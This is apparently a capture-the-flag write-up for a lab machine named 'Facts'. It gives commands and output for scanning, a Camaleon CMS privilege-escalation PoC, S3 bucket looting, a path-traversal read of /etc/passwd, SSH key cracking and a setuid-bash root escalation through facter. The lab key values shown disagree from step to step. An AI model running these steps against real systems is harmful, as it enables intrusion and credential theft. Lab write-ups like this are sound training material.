facts.png

Facts#

Enum#

nmap -sC -sV -oN scans/nmap.initial 10.129.27.32
nmap -Pn -p- --min-rate 10000 -v -oN scans/nmap.allports facts.htb
dirsearch -q -x 404 -u http://facts.htb/
[23:41:46] 200 -    7KB - http://facts.htb/400
[23:41:46] 200 -    5KB - http://facts.htb/404
[23:41:46] 200 -    5KB - http://facts.htb/404.html
[23:41:46] 200 -    8KB - http://facts.htb/500
[22:57:33] 200 -    99B - /robots.txt
[22:57:44] 200 -    73B - /up.php
http://facts.htb/welcome
http://facts.htb/search
http://facts.htb/search?q=cat
http://facts.htb/randomfacts/logopage.png
ffuf -c \
  -w /usr/share/seclists-git/Discovery/DNS/namelist.txt \
  -o ./scans/ffuf.vhosts \
  -of all \
  -u "http://facts.htb" \
  -H "Host: FUZZ.facts.htb" \
  -fs 154
feroxbuster -q \
  --url http://facts.htb/ \
  -w /usr/share/seclists-git/Discovery/Web-Content/big.txt \
  -o scans/ferox.out \
  -W 371
http://facts.htb/admin/forgot
http://facts.htb/admin/register

We can register an account on the admin page and get the version of Camaleon CMS running

camaleon cms 2.9.0

CVE-2025-2304 Camaleon 2.9.0 Privilege Escalation to Admin#

Found a PoC to escalate our privileges to Admin in Camaleon CMS

git clone https://github.com/whiteov3rflow/CVE-2025-2304-POC.git
python3 exploit.py http://facts.htb asdf asdf

In the settings of the web-portal we find s3 credentials

access-key: AKIA4878E4AD66EA56B7
secret-key: 4IEpAJpKkDITlrTyKiTQ6AxdAQjDqYABqNS1U1Gk
bucket-name: randomfacts
s3-region: us-east-1
bucket-endpoint: http://localhost:54321
cloudfront-url: http://facts.htb/randomfacts

Install and configure aws-cli

yay -S aws-cli
aws configure
AWS Access Key ID [None]: AKIA4878E4AD66EA56B7
AWS Secret Access Key [None]: 4IEpAJpKkDITlrTyKiTQ6AxdAQjDqYABqNS1U1Gk
Default region name [None]: us-east-1
Default output format [None]:
cat .aws/config
[default]
endpoint_url = http://facts.htb:54321
region = us-east-1
cat ~/.aws/credentials
[default]
aws_access_key_id = AKIA1F5761D60E4D4119
aws_secret_access_key = w1hb88JzPpfew/8QKXwfDMauxP3t40ONuOw/Oide
aws s3 ls
2025-09-11 12:06:52 internal
2025-09-11 12:06:52 randomfacts

Got a warning, there’s a new version of the aws cli apparently, so I’m getting that.

sudo pacman -S aws-cli-v2
aws --version
aws-cli/2.32.32 Python/3.14.2 Linux/6.18.7-arch1-Watanare-T2-1-t2 source/x86_64.arch

Looting the buckets

aws s3 ls s3://internal
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 18:45:13        220 .bash_logout
2026-01-08 18:45:13       3900 .bashrc
2026-01-08 18:47:17         20 .lesshst
2026-01-08 18:47:17        807 .profile
aws s3 cp --recursive s3://internal/.ssh/ .
download: s3://internal/.ssh/authorized_keys to ./authorized_keys
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519

There’s a private key and the authorized key corresponds

ssh-keygen -l -f .ssh/authorized_keys
256 SHA256:im8vIhzqQqXnTRMBK5dG+zshG/J5sEiv+ftAfyZYpsg no comment (ED25519)
ssh-keygen -l -f .ssh/id_ed25519 2>/dev/null
256 SHA256:im8vIhzqQqXnTRMBK5dG+zshG/J5sEiv+ftAfyZYpsg no comment (ED25519)

At this stage I tried to connect as bob, carol, dave, admin, editor, and all kinds of things that could make sense, without success.

Even attempted to bruteforce usernames

nmap \
  -p 22 \
  --script ssh-brute \
  --script-args "userdb=/usr/share/seclists-git/Usernames/Names/names.txt,ssh-brute.keyfile=/home/blnkn/sec/htb/machines/facts/loot/internal/.ssh/id_ed25519" \
  facts.htb

But we get limited by PAM probably pretty quick

nc facts.htb 22
Not allowed at this time

CVE-2025-62506 Minio Privesc (Red Hering)#

The server side of this blob store is minio, my initial allports nmap scan didn’t catch it, probaby because of the high min rate, but that’s ok.

curl -I http://facts.htb:54321
HTTP/1.1 400 Bad Request
Accept-Ranges: bytes
Content-Length: 213
Content-Type: application/xml
Server: MinIO
Vary: Origin
Date: Mon, 02 Feb 2026 16:48:49 GMT

Installing and configuring the minio cli to maybe get more info.

mcli alias set facts http://facts.htb:54321 AKIABB4E6613FF38719E liew/et6ulTnpOCG65RJUFBhf9PGTc4F/eO6EvLo
jq .aliases.facts ~/.mcli/config.json
{
  "url": "http://facts.htb:54321",
  "accessKey": "AKIA974B6D1D90C3058B",
  "secretKey": "Mbjss3MkfDCCLHuaMlBDkRvautQ+Lc0GyT4EzAjP",
  "api": "s3v4",
  "path": "auto"
}

Eventually we’re able to find the exact version of minio running.

mcli admin info facts
●  facts.htb:54321
   Uptime: 50 minutes
   Version: 2025-09-07T16:13:09Z
   Network: 1/1 OK
   Drives: 1/1 OK
   Pool: 1

┌──────┬────────────────────────┬─────────────────────┬──────────────┐
│ Pool  Drives Usage            Erasure stripe size  Erasure sets │
│ 1st   72.6% (total: 7.2 GiB)  1                    1            │
└──────┴────────────────────────┴─────────────────────┴──────────────┘

36 MiB Used, 2 Buckets, 2,077 Objects
1 drive online, 0 drives offline, EC:0

And it is vulnerable to CVE-2025-62506 unfortunately that’s not giving us access to any extra buckets or anything, so I don’t think that’s really helpful to us at this time… Probably just a red-hering.

python verify_cve_2025_62506.py
...

CVE-2024-46987 Arbitrary File Read#

It’s time to re-assess the situation. An arbitrary file read would be nice, if I could just get /etc/passwd and know what users are on the box I would surely be able to log-in. And I’m pretty sure I saw some kind of arbitrary file read for camaleon while googling around for CVEs.

I eventually found here in the github advisory that an authenticated user can simply navigate to download_private_file and do path traversal in the file param. I’m pretty sure I saw that before, I guess I just skipped it because the advisory says Affected versions < 2.8.1 also maybe I wasn’t an authenticated user yet when I checked. Later I also found that I just had to to hit show more in the vulners article to get a helper script… I guess I really need to spend more than 3 sec per pages sometimes.

But we don’t really need a script like…

http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd

Now we know trivia and william exist on the box.

grep sh$ passwd
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Cracking the Encrypted Key#

At this point I try to login to trivia with the key I have, and “fail successfully” a little further… Noice.

ssh -i id_ed25519 -o "IdentitiesOnly=yes" trivia@facts.htb
Enter passphrase for key 'id_ed25519':

So the key is encrypted, crack it.

yay -S john-git
ssh2john id_ed25519 > hash.txt
john --wordlist=/usr/share/seclists-git/Passwords/Leaked-Databases/rockyou.txt hash.txt
john --show hash.txt

And finally log-in.

ssh -v -i id_ed25519 -o "IdentitiesOnly=yes" trivia@facts.htb
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Get the user flag in william’s home

trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
trivia@facts:~$ cd /home/
trivia@facts:/home$ ls -la
total 16
drwxr-xr-x  4 root    root    4096 Jan  8 17:53 .
drwxr-xr-x 20 root    root    4096 Jan 28 15:15 ..
drwxr-x---  6 trivia  trivia  4096 Jan 28 16:17 trivia
drwxr-xr-x  2 william william 4096 Jan 26 11:40 william
trivia@facts:/home$ cd william/
trivia@facts:/home/william$ wc -c user.txt
33 user.txt

Use Facter as a GTFO Bin#

We can run facter as root

trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Facter is a ruby thing part of the Puppet / Hiera echosystem.

trivia@facts:~$ sudo /usr/bin/facter --version
4.10.0

It gathers system info facts as ruby variables that Puppet can use

sudo /usr/bin/facter --json
wl-paste > facter.json

Turns out facter is also a GTFO bin, with a bit of tinkering we can get it to load a script.

cat /dev/shm/bork.rb
Facter.add(:its_factual) do setcode { system("chmod +s /bin/bash") } end
sudo /usr/bin/facter --custom-dir=/dev/shm/ its_factual
true
ls -l /bin/bash
-rwsr-sr-x 1 root root 1740896 Mar  5  2025 /bin/bash
bash -p